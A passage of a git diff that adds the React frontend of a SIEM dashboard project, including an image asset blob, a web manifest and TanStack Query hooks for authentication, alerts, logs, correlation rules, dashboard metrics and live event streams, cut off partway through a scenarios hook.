zdara*6nS-9I&cecZ8n=t*8jZkz5rM(7O2%~uFo$WH~`nkEx`8xFYiqM0RRC1|KJav iwEzGB21!IgR09C`Nb56+W5RC$0000wDG*4qFUt zwrK8Ggt*w{D40EaP#hkWiPtp`ty@pS?V61UPX{9Wxp?XHJ8(E0gRYN?ib8sNdY^2q zRu|T;*@}(L=diQ&G7dfa8evxqy4KVYr_+fN^0=z13fb8?$jzON+S&%>WG_d2eEg7W z^)4eL1G8q$LV0;P7A{bBQ8Vjozl7C6m_rxDv z@AvyLdGciB=jWrSs0c|(Ne}(rW{rI4y9w(jawi(0|H;mz^Qz`0`}8A!W5R<+^_cjK z30%REjgT&kCCq`al9Q9E>$Y)&pOux>cm4A^UM}HwA~)*@>D!H} zih3-nu153PwFq=}V)d$3$fWNJzumLK&e*~4S%cc8t=PFUfF(6GhHsuTXAY)Kn>MPp z&S8&b>@f$$g&o+{{yd^0mXO9VwB@ccM0yY5+5K-IFMB`y?x*_XPESW%WM_HjrF-Zy z9*ic*J&o|&aqjFDc-?dPePC>5h1;3U=kww7EF~@uq^72ZRR`?$ctm(x@YY)&5swbS zOEYM7QXlQMc*aB#i1KYfwD$$fDcOWqUwIj_f#KqV*I5m}w+7d*-9nVVjqo#hzS4OP zca!D@SZxmY+=Y0m?ilXezK7V@*q~r5hxxHH<8tP3{{?vSjVmZGZ6_|P7>n~P`q~lY zIl;W3jPZOSuKex`bRX{yS_gbSA7;*+3AfulDBjX9hkX*t%WCn_ho4~bq!!wN-H7(R zfQ*z=IDGIe-2C(op6`AGiIehzhA%mZ2lMC8H|*w6alPFhgFT&H`0DQWc(Laue*4bn zxO?}{=sM7Yd1dX$$zeWWoQ1*kc=%_Mf#UZqTee`sh7Fi7VZs2p&<5EfQCeDwt5>ff z5ZHrtYhFZbOd)fFJmwp+d%?v!L&@C4qrJTyM~@ywYip~Ki^Rt#p|PL#2J%ihCAYZ~mQ*iK~zzmUJT=xI_r#cBsw3e;BehPIG zq7n2te%K}jzdjV0;aVeq5~|M*7Y-xYM>Pe-MkCo{Jl9U2K7ADOAmXG<5^o9 ziR=_lD%SkDo?q3~($biJQVzrAZ6o2+Xsi{^s!J-i)MuUJ@u*LRN}GCZGiJ;%@>Joi znwRpGQ1=_lb>g@Bed@~yuIdx&-|6{S;t>ig;V3?m+U>p z8eTV|yn7MhD~}Ml7{Kb<(Dm4g6*u=wC~!5ZCkfu6Kh%7)S>axcTTUE9teKDL8Bi+0-oxB)t%9u8~BtRoxxPMx!{zGve-77;Yc>-d_1mV$|%a9M>7eb&P#<(6M07* z-Hrn4&{|x-@fl}nj?s5j(hh0<=!crU>$_ z$2w-VvG3sbG$PX9gqyeSV9|n8?1Sy3EmfbL^=V!%R{?RXC9h*?=Usd^m-@vXjrUiW zG$DY4&%VSu^4oneQ0V*&?rg~ZIBo17`nHpgHMsTZAF#UVb=veb)Q@~af85SOzCS=- zx3Q+3$Nqwy_asEHr8GfHkyXqx<1?)@h$Abs|z}Z({3!C1^uMF(dn0O9;SInT^ zc@^=iLCe}h_~3(&k)FDWKB|>6QQx+X@77RPeo3BplZIwK&&1N2^|*QS9{zayt})Bj zcUDFiuc^X#o-@pAEjvYOVvXawCihB-)GhfE~mfzsq%U|H$z5BTK{v9+moMHUd&G>%?&rnpq ztr{W!O+00*C4-eKR~mLrw%PDIL&jQ)!Q6FxBulmKB137u}q%i}d`i$hGcMq>8 z{_NE|9dYylOK|`G1AOuM=lJB4kMZ`~S5d$G1oPW8BR`p2K99YxRL)!ycjlVCxy_^d z_3P-va6)^o+(JFLKp?<)xXYOPRF78l^~=RU+n9ipCr+cKc_U-ZSe|eCRrgZ*hX!P^ zA3Sr$Y-8^8f9VemuYTAM(?8gAJyYzfTzlijjd=IncWG}vz>y^(>7JW=U>XRU5rHPqwGVtaF<-PmwKF<<&|zIPB&w9;cD8_fiU%1`I6qL=CpV3 zUR=L^o%05FaqZeQq@^=&w<}KbGA?SNj8cqvU+V_$6Ar!59>PU=vuf9>pDK^8udm0t zb?c1Wbo1uT(AC)3X!LD0cdXy3R$N+IYV?xp>guqS`QZM22auGIVVni4&C58Ui7`)- z5&MJ--{JNVJ+e3I`^$c6W>2#Snqg~eYr}E&yHA}uh4bgn67LVrcB9z zlevqPu}%bMaNO=};y*ezW;j~R_onPk-4TuErI>LtXA>1azIWxlUfW_<-N!-ywUTFg zHh&u(Rv%^J73|%_UvY-yBVE!w#?|-V$0g1{G(P<_WykzhaXs@BpQoO&O%d&C@~GMQ z!Duk~t#{^UombgR@mX^tw{PFZjT<+NISQSFIM%%Fk_&TU)!=&b`h3pR)lio-NAs|a z8w_qJ&t$`;@3J?VyAWU1OHfTra~9J1GiS~ix-K1;{x`Gsq;nx15`6>VD(|xV@XSg& zJkD~?r6@)S&BhP6PPps;3RH7fJyNzs^C_Agn$7>?P@P8gVA*aH-$!vC3Wj{E?2pah z|LEX96zp(3@68!GD>e$VK;gh|xIKF1H2$@!;qZL&{^xf#p2+NHEi;Pm$=?$WgvNpY E0{n#GdH?_b literal 0 HcmV?d00001 diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/public/assets/site.webmanifest b/PROJECTS/intermediate/siem-dashboard/frontend/public/assets/site.webmanifest new file mode 100644 index 00000000..45dc8a20 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/public/assets/site.webmanifest @@ -0,0 +1 @@ +{"name":"","short_name":"","icons":[{"src":"/android-chrome-192x192.png","sizes":"192x192","type":"image/png"},{"src":"/android-chrome-512x512.png","sizes":"512x512","type":"image/png"}],"theme_color":"#ffffff","background_color":"#ffffff","display":"standalone"} \ No newline at end of file diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/App.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/App.tsx new file mode 100644 index 00000000..eefd8a7a --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/App.tsx @@ -0,0 +1,34 @@ +// =================== +// ©AngelaMos | 2026 +// App.tsx +// =================== + +import { QueryClientProvider } from '@tanstack/react-query' +import { ReactQueryDevtools } from '@tanstack/react-query-devtools' +import { RouterProvider } from 'react-router-dom' +import { Toaster } from 'sonner' +import { router } from '@/core/app/router' +import { queryClient } from '@/core/lib' + +export default function App(): React.ReactElement { + return ( + +

    + + +
    + + + ) +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/index.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/index.ts new file mode 100644 index 00000000..7735c2b0 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/index.ts @@ -0,0 +1,13 @@ +// =================== +// ©AngelaMos | 2026 +// index.ts +// =================== + +export * from './useAdmin' +export * from './useAlerts' +export * from './useAuth' +export * from './useDashboard' +export * from './useEventStream' +export * from './useLogs' +export * from './useRules' +export * from './useScenarios' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAdmin.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAdmin.ts new file mode 100644 index 00000000..d7e98219 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAdmin.ts @@ -0,0 +1,159 @@ +// =================== +// ©AngelaMos | 2026 +// useAdmin.ts +// =================== + +import { + type UseMutationResult, + type UseQueryResult, + useMutation, + useQuery, + useQueryClient, +} from '@tanstack/react-query' +import { toast } from 'sonner' +import type { + AdminUpdateRoleRequest, + AdminUserListParams, + DeleteResponse, + PaginatedResponse, + UserResponse, +} from '@/api/types' +import { ADMIN_SUCCESS_MESSAGES } from '@/api/types/admin.types' +import { API_ENDPOINTS, PAGINATION, QUERY_KEYS } from '@/config' +import { apiClient } from '@/core/lib' + +export const adminQueries = { + all: () => QUERY_KEYS.ADMIN.ALL, + users: (page: number, size: number) => QUERY_KEYS.ADMIN.USERS(page, size), + userById: (id: string) => QUERY_KEYS.ADMIN.USER_BY_ID(id), +} as const + +export const useAdminUsers = ( + params: AdminUserListParams = {} +): UseQueryResult, Error> => { + const page = params.page ?? PAGINATION.DEFAULT_PAGE + const perPage = params.per_page ?? PAGINATION.DEFAULT_SIZE + + return useQuery({ + queryKey: adminQueries.users(page, perPage), + queryFn: async () => { + const response = await apiClient.get>( + API_ENDPOINTS.ADMIN.USERS, + { params } + ) + return response.data + }, + }) +} + +export const useAdminUser = ( + userId: string +): UseQueryResult => { + return useQuery({ + queryKey: adminQueries.userById(userId), + queryFn: async () => { + const response = await apiClient.get( + API_ENDPOINTS.ADMIN.USER_BY_ID(userId) + ) + return response.data + }, + enabled: userId.length > 0, + }) +} + +export const useAdminUpdateRole = (): UseMutationResult< + UserResponse, + Error, + { userId: string; payload: AdminUpdateRoleRequest } +> => { + const queryClient = useQueryClient() + + return useMutation({ + mutationFn: async ({ userId, payload }) => { + const response = await apiClient.patch( + API_ENDPOINTS.ADMIN.USER_ROLE(userId), + payload + ) + return response.data + }, + onSuccess: (data: UserResponse): void => { + queryClient.invalidateQueries({ queryKey: adminQueries.all() }) + toast.success(ADMIN_SUCCESS_MESSAGES.ROLE_UPDATED(data.username, data.role)) + }, + onError: (error: Error): void => { + toast.error(error.message) + }, + }) +} + +export const useAdminDeactivateUser = (): UseMutationResult< + UserResponse, + Error, + string +> => { + const queryClient = useQueryClient() + + return useMutation({ + mutationFn: async (userId: string) => { + const response = await apiClient.post( + API_ENDPOINTS.ADMIN.DEACTIVATE(userId) + ) + return response.data + }, + onSuccess: (data: UserResponse): void => { + queryClient.invalidateQueries({ queryKey: adminQueries.all() }) + toast.success(ADMIN_SUCCESS_MESSAGES.USER_DEACTIVATED(data.username)) + }, + onError: (error: Error): void => { + toast.error(error.message) + }, + }) +} + +export const useAdminActivateUser = (): UseMutationResult< + UserResponse, + Error, + string +> => { + const queryClient = useQueryClient() + + return useMutation({ + mutationFn: async (userId: string) => { + const response = await apiClient.post( + API_ENDPOINTS.ADMIN.ACTIVATE(userId) + ) + return response.data + }, + onSuccess: (data: UserResponse): void => { + queryClient.invalidateQueries({ queryKey: adminQueries.all() }) + toast.success(ADMIN_SUCCESS_MESSAGES.USER_ACTIVATED(data.username)) + }, + onError: (error: Error): void => { + toast.error(error.message) + }, + }) +} + +export const useAdminDeleteUser = (): UseMutationResult< + DeleteResponse, + Error, + string +> => { + const queryClient = useQueryClient() + + return useMutation({ + mutationFn: async (userId: string) => { + const response = await apiClient.delete( + API_ENDPOINTS.ADMIN.USER_BY_ID(userId) + ) + return response.data + }, + onSuccess: (): void => { + queryClient.invalidateQueries({ queryKey: adminQueries.all() }) + toast.success(ADMIN_SUCCESS_MESSAGES.USER_DELETED) + }, + onError: (error: Error): void => { + toast.error(error.message) + }, + }) +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAlerts.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAlerts.ts new file mode 100644 index 00000000..a8c0d8b2 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAlerts.ts @@ -0,0 +1,85 @@ +// =================== +// ©AngelaMos | 2026 +// useAlerts.ts +// =================== + +import { + type UseMutationResult, + type UseQueryResult, + useMutation, + useQuery, + useQueryClient, +} from '@tanstack/react-query' +import { toast } from 'sonner' +import type { + Alert, + AlertDetail, + AlertQueryParams, + AlertStatusUpdateRequest, + PaginatedResponse, +} from '@/api/types' +import { API_ENDPOINTS, PAGINATION, QUERY_KEYS } from '@/config' +import { apiClient, QUERY_STRATEGIES } from '@/core/lib' + +export const alertQueries = { + all: () => QUERY_KEYS.ALERTS.ALL, + list: (page: number, size: number) => QUERY_KEYS.ALERTS.LIST(page, size), + byId: (id: string) => QUERY_KEYS.ALERTS.BY_ID(id), +} as const + +export const useAlerts = ( + params: AlertQueryParams = {} +): UseQueryResult, Error> => { + const page = params.page ?? PAGINATION.DEFAULT_PAGE + const perPage = params.per_page ?? PAGINATION.DEFAULT_SIZE + + return useQuery({ + queryKey: alertQueries.list(page, perPage), + queryFn: async () => { + const response = await apiClient.get>( + API_ENDPOINTS.ALERTS.LIST, + { params } + ) + return response.data + }, + ...QUERY_STRATEGIES.frequent, + }) +} + +export const useAlertDetail = ( + alertId: string +): UseQueryResult => { + return useQuery({ + queryKey: alertQueries.byId(alertId), + queryFn: async () => { + const response = await apiClient.get( + API_ENDPOINTS.ALERTS.BY_ID(alertId) + ) + return response.data + }, + enabled: alertId.length > 0, + }) +} + +export const useUpdateAlertStatus = ( + alertId: string +): UseMutationResult => { + const queryClient = useQueryClient() + + return useMutation({ + mutationFn: async (payload: AlertStatusUpdateRequest) => { + const response = await apiClient.patch( + API_ENDPOINTS.ALERTS.STATUS(alertId), + payload + ) + return response.data + }, + onSuccess: (): void => { + queryClient.invalidateQueries({ queryKey: alertQueries.all() }) + toast.success('Alert status updated') + }, + onError: (error: Error): void => { + toast.error(error.message) + }, + }) +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAuth.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAuth.ts new file mode 100644 index 00000000..a5a0c97d --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useAuth.ts @@ -0,0 +1,226 @@ +// =================== +// ©AngelaMos | 2026 +// useAuth.ts +// =================== + +import { + type UseMutationResult, + type UseQueryResult, + useMutation, + useQuery, + useQueryClient, +} from '@tanstack/react-query' +import { toast } from 'sonner' +import { + AUTH_ERROR_MESSAGES, + AUTH_SUCCESS_MESSAGES, + AuthResponseError, + isValidTokenResponse, + isValidUpdateProfileResponse, + isValidUserResponse, + type LoginRequest, + type RegisterRequest, + type TokenResponse, + type UpdateProfileRequest, + type UpdateProfileResponse, + type UserResponse, +} from '@/api/types' +import { API_ENDPOINTS, QUERY_KEYS, ROUTES } from '@/config' +import { apiClient, QUERY_STRATEGIES } from '@/core/lib' +import { useAuthStore } from '@/core/stores' + +export const authQueries = { + all: () => QUERY_KEYS.AUTH.ALL, + me: () => QUERY_KEYS.AUTH.ME(), +} as const + +const fetchCurrentUser = async (): Promise => { + const response = await apiClient.get(API_ENDPOINTS.AUTH.ME) + const data: unknown = response.data + + if (!isValidUserResponse(data)) { + throw new AuthResponseError( + AUTH_ERROR_MESSAGES.INVALID_USER_RESPONSE, + API_ENDPOINTS.AUTH.ME + ) + } + + return data +} + +export const useCurrentUser = (): UseQueryResult => { + const isAuthenticated = useAuthStore((s) => s.isAuthenticated) + + return useQuery({ + queryKey: authQueries.me(), + queryFn: fetchCurrentUser, + enabled: isAuthenticated, + ...QUERY_STRATEGIES.auth, + }) +} + +const performLogin = async ( + credentials: LoginRequest +): Promise => { + const response = await apiClient.post( + API_ENDPOINTS.AUTH.LOGIN, + credentials + ) + const data: unknown = response.data + + if (!isValidTokenResponse(data)) { + throw new AuthResponseError( + AUTH_ERROR_MESSAGES.INVALID_LOGIN_RESPONSE, + API_ENDPOINTS.AUTH.LOGIN + ) + } + + return data +} + +export const useLogin = (): UseMutationResult< + TokenResponse, + Error, + LoginRequest +> => { + const queryClient = useQueryClient() + const login = useAuthStore((s) => s.login) + + return useMutation({ + mutationFn: performLogin, + onSuccess: async (data: TokenResponse): Promise => { + useAuthStore.getState().setAccessToken(data.access_token) + + const userResponse = await apiClient.get(API_ENDPOINTS.AUTH.ME) + const userData: unknown = userResponse.data + + if (!isValidUserResponse(userData)) { + throw new AuthResponseError( + AUTH_ERROR_MESSAGES.INVALID_USER_RESPONSE, + API_ENDPOINTS.AUTH.ME + ) + } + + login(userData, data.access_token) + queryClient.setQueryData(authQueries.me(), userData) + toast.success(AUTH_SUCCESS_MESSAGES.WELCOME_BACK(userData.username)) + }, + onError: (error: Error): void => { + const message = + error instanceof AuthResponseError ? error.message : 'Login failed' + toast.error(message) + }, + }) +} + +const performRegister = async ( + payload: RegisterRequest +): Promise => { + const response = await apiClient.post( + API_ENDPOINTS.AUTH.REGISTER, + payload + ) + const data: unknown = response.data + + if (!isValidTokenResponse(data)) { + throw new AuthResponseError( + AUTH_ERROR_MESSAGES.INVALID_TOKEN_RESPONSE, + API_ENDPOINTS.AUTH.REGISTER + ) + } + + return data +} + +export const useRegister = (): UseMutationResult< + TokenResponse, + Error, + RegisterRequest +> => { + const queryClient = useQueryClient() + const login = useAuthStore((s) => s.login) + + return useMutation({ + mutationFn: performRegister, + onSuccess: async (data: TokenResponse): Promise => { + useAuthStore.getState().setAccessToken(data.access_token) + + const userResponse = await apiClient.get(API_ENDPOINTS.AUTH.ME) + const userData: unknown = userResponse.data + + if (!isValidUserResponse(userData)) { + throw new AuthResponseError( + AUTH_ERROR_MESSAGES.INVALID_USER_RESPONSE, + API_ENDPOINTS.AUTH.ME + ) + } + + login(userData, data.access_token) + queryClient.setQueryData(authQueries.me(), userData) + toast.success(AUTH_SUCCESS_MESSAGES.REGISTERED) + }, + onError: (error: Error): void => { + const message = + error instanceof AuthResponseError ? error.message : 'Registration failed' + toast.error(message) + }, + }) +} + +export const useUpdateProfile = (): UseMutationResult< + UpdateProfileResponse, + Error, + UpdateProfileRequest +> => { + const queryClient = useQueryClient() + const updateUser = useAuthStore((s) => s.updateUser) + + return useMutation({ + mutationFn: async ( + payload: UpdateProfileRequest + ): Promise => { + const response = await apiClient.patch( + API_ENDPOINTS.AUTH.UPDATE_PROFILE, + payload + ) + const data: unknown = response.data + + if (!isValidUpdateProfileResponse(data)) { + throw new AuthResponseError( + AUTH_ERROR_MESSAGES.INVALID_USER_RESPONSE, + API_ENDPOINTS.AUTH.UPDATE_PROFILE + ) + } + + return data + }, + onSuccess: (data: UpdateProfileResponse): void => { + updateUser(data.user) + + if (data.access_token !== undefined) { + useAuthStore.getState().setAccessToken(data.access_token) + } + + queryClient.setQueryData(authQueries.me(), data.user) + toast.success(AUTH_SUCCESS_MESSAGES.PROFILE_UPDATED) + }, + onError: (error: Error): void => { + toast.error(error.message) + }, + }) +} + +export const useLogout = (): UseMutationResult => { + const queryClient = useQueryClient() + const logout = useAuthStore((s) => s.logout) + + return useMutation({ + mutationFn: async (): Promise => {}, + onSuccess: (): void => { + logout() + queryClient.removeQueries({ queryKey: authQueries.all() }) + toast.success(AUTH_SUCCESS_MESSAGES.LOGOUT_SUCCESS) + window.location.href = ROUTES.LOGIN + }, + }) +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useDashboard.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useDashboard.ts new file mode 100644 index 00000000..fe047e87 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useDashboard.ts @@ -0,0 +1,87 @@ +// =================== +// ©AngelaMos | 2026 +// useDashboard.ts +// =================== + +import type { UseQueryResult } from '@tanstack/react-query' +import { useQuery } from '@tanstack/react-query' +import type { + DashboardOverview, + SeverityCount, + TimelineBucket, + TopSource, +} from '@/api/types' +import { API_ENDPOINTS, QUERY_KEYS } from '@/config' +import { apiClient, QUERY_STRATEGIES } from '@/core/lib' + +export const dashboardQueries = { + all: () => QUERY_KEYS.DASHBOARD.ALL, + overview: () => QUERY_KEYS.DASHBOARD.OVERVIEW(), + timeline: (hours: number, bucket: number) => + QUERY_KEYS.DASHBOARD.TIMELINE(hours, bucket), + severity: () => QUERY_KEYS.DASHBOARD.SEVERITY(), + topSources: (limit: number) => QUERY_KEYS.DASHBOARD.TOP_SOURCES(limit), +} as const + +export const useDashboardOverview = (): UseQueryResult< + DashboardOverview, + Error +> => { + return useQuery({ + queryKey: dashboardQueries.overview(), + queryFn: async () => { + const response = await apiClient.get( + API_ENDPOINTS.DASHBOARD.OVERVIEW + ) + return response.data + }, + ...QUERY_STRATEGIES.dashboard, + }) +} + +export const useTimeline = ( + hours = 24, + bucketMinutes = 15 +): UseQueryResult => { + return useQuery({ + queryKey: dashboardQueries.timeline(hours, bucketMinutes), + queryFn: async () => { + const response = await apiClient.get( + API_ENDPOINTS.DASHBOARD.TIMELINE, + { params: { hours, bucket_minutes: bucketMinutes } } + ) + return response.data + }, + ...QUERY_STRATEGIES.dashboard, + }) +} + +export const useSeverityBreakdown = (): UseQueryResult< + SeverityCount[], + Error +> => { + return useQuery({ + queryKey: dashboardQueries.severity(), + queryFn: async () => { + const response = await apiClient.get( + API_ENDPOINTS.DASHBOARD.SEVERITY + ) + return response.data + }, + ...QUERY_STRATEGIES.dashboard, + }) +} + +export const useTopSources = (limit = 10): UseQueryResult => { + return useQuery({ + queryKey: dashboardQueries.topSources(limit), + queryFn: async () => { + const response = await apiClient.get( + API_ENDPOINTS.DASHBOARD.TOP_SOURCES, + { params: { limit } } + ) + return response.data + }, + ...QUERY_STRATEGIES.dashboard, + }) +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useEventStream.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useEventStream.ts new file mode 100644 index 00000000..fe247125 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useEventStream.ts @@ -0,0 +1,92 @@ +// =================== +// ©AngelaMos | 2026 +// useEventStream.ts +// =================== + +import { useCallback, useEffect, useRef } from 'react' +import type { StreamAlertEvent, StreamLogEvent } from '@/api/types' +import { API_ENDPOINTS } from '@/config' +import { getBaseURL } from '@/core/lib' +import { useAuthStore, useStreamStore } from '@/core/stores' + +const SSE_RECONNECT_DELAY = 3000 + +export function useLogStream(): void { + const token = useAuthStore((s) => s.accessToken) + const setLogConnected = useStreamStore((s) => s.setLogConnected) + const pushLogEvent = useStreamStore((s) => s.pushLogEvent) + const sourceRef = useRef(null) + + const connect = useCallback(() => { + if (token === null) return + + const url = `${getBaseURL()}${API_ENDPOINTS.LOGS.STREAM}?token=${encodeURIComponent(token)}` + const source = new EventSource(url) + sourceRef.current = source + + source.onopen = () => setLogConnected(true) + + source.addEventListener('log', (event: MessageEvent) => { + const data = JSON.parse(event.data) as StreamLogEvent + pushLogEvent({ id: data.id, timestamp: data.timestamp, data }) + }) + + source.onerror = () => { + setLogConnected(false) + source.close() + sourceRef.current = null + setTimeout(connect, SSE_RECONNECT_DELAY) + } + }, [token, setLogConnected, pushLogEvent]) + + useEffect(() => { + connect() + return () => { + sourceRef.current?.close() + sourceRef.current = null + setLogConnected(false) + } + }, [connect, setLogConnected]) +} + +export function useAlertStream(): void { + const token = useAuthStore((s) => s.accessToken) + const setAlertConnected = useStreamStore((s) => s.setAlertConnected) + const pushAlertEvent = useStreamStore((s) => s.pushAlertEvent) + const sourceRef = useRef(null) + + const connect = useCallback(() => { + if (token === null) return + + const url = `${getBaseURL()}${API_ENDPOINTS.ALERTS.STREAM}?token=${encodeURIComponent(token)}` + const source = new EventSource(url) + sourceRef.current = source + + source.onopen = () => setAlertConnected(true) + + source.addEventListener('alert', (event: MessageEvent) => { + const data = JSON.parse(event.data) as StreamAlertEvent + pushAlertEvent({ + id: data.id, + timestamp: new Date().toISOString(), + data, + }) + }) + + source.onerror = () => { + setAlertConnected(false) + source.close() + sourceRef.current = null + setTimeout(connect, SSE_RECONNECT_DELAY) + } + }, [token, setAlertConnected, pushAlertEvent]) + + useEffect(() => { + connect() + return () => { + sourceRef.current?.close() + sourceRef.current = null + setAlertConnected(false) + } + }, [connect, setAlertConnected]) +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useLogs.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useLogs.ts new file mode 100644 index 00000000..e7e30efd --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useLogs.ts @@ -0,0 +1,95 @@ +// =================== +// ©AngelaMos | 2026 +// useLogs.ts +// =================== + +import type { UseQueryResult } from '@tanstack/react-query' +import { useQuery } from '@tanstack/react-query' +import type { + LogEvent, + LogQueryParams, + LogSearchParams, + PaginatedResponse, + PivotParams, +} from '@/api/types' +import { API_ENDPOINTS, PAGINATION, QUERY_KEYS } from '@/config' +import { apiClient, QUERY_STRATEGIES } from '@/core/lib' + +export const logQueries = { + all: () => QUERY_KEYS.LOGS.ALL, + list: (page: number, size: number) => QUERY_KEYS.LOGS.LIST(page, size), + byId: (id: string) => QUERY_KEYS.LOGS.BY_ID(id), + search: (query: string, page: number, size: number) => + QUERY_KEYS.LOGS.SEARCH(query, page, size), + pivot: (params: PivotParams) => QUERY_KEYS.LOGS.PIVOT(params), +} as const + +export const useLogs = ( + params: LogQueryParams = {} +): UseQueryResult, Error> => { + const page = params.page ?? PAGINATION.DEFAULT_PAGE + const perPage = params.per_page ?? PAGINATION.DEFAULT_SIZE + + return useQuery({ + queryKey: logQueries.list(page, perPage), + queryFn: async () => { + const response = await apiClient.get>( + API_ENDPOINTS.LOGS.LIST, + { params } + ) + return response.data + }, + ...QUERY_STRATEGIES.frequent, + }) +} + +export const useLogDetail = (logId: string): UseQueryResult => { + return useQuery({ + queryKey: logQueries.byId(logId), + queryFn: async () => { + const response = await apiClient.get( + API_ENDPOINTS.LOGS.BY_ID(logId) + ) + return response.data + }, + enabled: logId.length > 0, + }) +} + +export const useLogSearch = ( + params: LogSearchParams +): UseQueryResult, Error> => { + const page = params.page ?? PAGINATION.DEFAULT_PAGE + const perPage = params.per_page ?? PAGINATION.DEFAULT_SIZE + + return useQuery({ + queryKey: logQueries.search(params.q, page, perPage), + queryFn: async () => { + const response = await apiClient.get>( + API_ENDPOINTS.LOGS.SEARCH, + { params } + ) + return response.data + }, + enabled: params.q.length > 0, + ...QUERY_STRATEGIES.frequent, + }) +} + +export const useLogPivot = ( + params: PivotParams +): UseQueryResult => { + return useQuery({ + queryKey: logQueries.pivot(params), + queryFn: async () => { + const response = await apiClient.get(API_ENDPOINTS.LOGS.PIVOT, { + params, + }) + return response.data + }, + enabled: + params.ip !== undefined || + params.username !== undefined || + params.hostname !== undefined, + }) +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useRules.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useRules.ts new file mode 100644 index 00000000..6e8084b0 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useRules.ts @@ -0,0 +1,145 @@ +// =================== +// ©AngelaMos | 2026 +// useRules.ts +// =================== + +import { + type UseMutationResult, + type UseQueryResult, + useMutation, + useQuery, + useQueryClient, +} from '@tanstack/react-query' +import { toast } from 'sonner' +import type { + CorrelationRule, + DeleteResponse, + RuleCreateRequest, + RuleTestRequest, + RuleTestResult, + RuleUpdateRequest, +} from '@/api/types' +import { API_ENDPOINTS, QUERY_KEYS } from '@/config' +import { apiClient } from '@/core/lib' + +export const ruleQueries = { + all: () => QUERY_KEYS.RULES.ALL, + list: () => QUERY_KEYS.RULES.LIST(), + byId: (id: string) => QUERY_KEYS.RULES.BY_ID(id), +} as const + +export const useRules = (): UseQueryResult => { + return useQuery({ + queryKey: ruleQueries.list(), + queryFn: async () => { + const response = await apiClient.get( + API_ENDPOINTS.RULES.LIST + ) + return response.data + }, + }) +} + +export const useRuleDetail = ( + ruleId: string +): UseQueryResult => { + return useQuery({ + queryKey: ruleQueries.byId(ruleId), + queryFn: async () => { + const response = await apiClient.get( + API_ENDPOINTS.RULES.BY_ID(ruleId) + ) + return response.data + }, + enabled: ruleId.length > 0, + }) +} + +export const useCreateRule = (): UseMutationResult< + CorrelationRule, + Error, + RuleCreateRequest +> => { + const queryClient = useQueryClient() + + return useMutation({ + mutationFn: async (payload: RuleCreateRequest) => { + const response = await apiClient.post( + API_ENDPOINTS.RULES.CREATE, + payload + ) + return response.data + }, + onSuccess: (): void => { + queryClient.invalidateQueries({ queryKey: ruleQueries.all() }) + toast.success('Rule created') + }, + onError: (error: Error): void => { + toast.error(error.message) + }, + }) +} + +export const useUpdateRule = ( + ruleId: string +): UseMutationResult => { + const queryClient = useQueryClient() + + return useMutation({ + mutationFn: async (payload: RuleUpdateRequest) => { + const response = await apiClient.patch( + API_ENDPOINTS.RULES.UPDATE(ruleId), + payload + ) + return response.data + }, + onSuccess: (): void => { + queryClient.invalidateQueries({ queryKey: ruleQueries.all() }) + toast.success('Rule updated') + }, + onError: (error: Error): void => { + toast.error(error.message) + }, + }) +} + +export const useDeleteRule = (): UseMutationResult< + DeleteResponse, + Error, + string +> => { + const queryClient = useQueryClient() + + return useMutation({ + mutationFn: async (ruleId: string) => { + const response = await apiClient.delete( + API_ENDPOINTS.RULES.DELETE(ruleId) + ) + return response.data + }, + onSuccess: (): void => { + queryClient.invalidateQueries({ queryKey: ruleQueries.all() }) + toast.success('Rule deleted') + }, + onError: (error: Error): void => { + toast.error(error.message) + }, + }) +} + +export const useTestRule = ( + ruleId: string +): UseMutationResult => { + return useMutation({ + mutationFn: async (payload: RuleTestRequest) => { + const response = await apiClient.post( + API_ENDPOINTS.RULES.TEST(ruleId), + payload + ) + return response.data + }, + onError: (error: Error): void => { + toast.error(error.message) + }, + }) +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useScenarios.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useScenarios.ts new file mode 100644 index 00000000..bd6a617e --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/hooks/useScenarios.ts @@ -0,0 +1,175 @@ +// =================== +// ©AngelaMos | 2026 +// useScenarios.ts +// =================== + +import { + type UseMutationResult, + type UseQueryResult, + useMutation, + useQuery, + useQueryClient, +} from '@tanstack/react-query' +import { toast } from 'sonner' +import type { + PlaybookInfo, + ScenarioRun, + ScenarioStartRequest, + SpeedRequest, +} from '@/api/types' +import { API_ENDPOINTS, QUERY_KEYS } from '@/config' +import { apiClient, QUERY_STRATEGIES } from '@/core/lib' + +export const 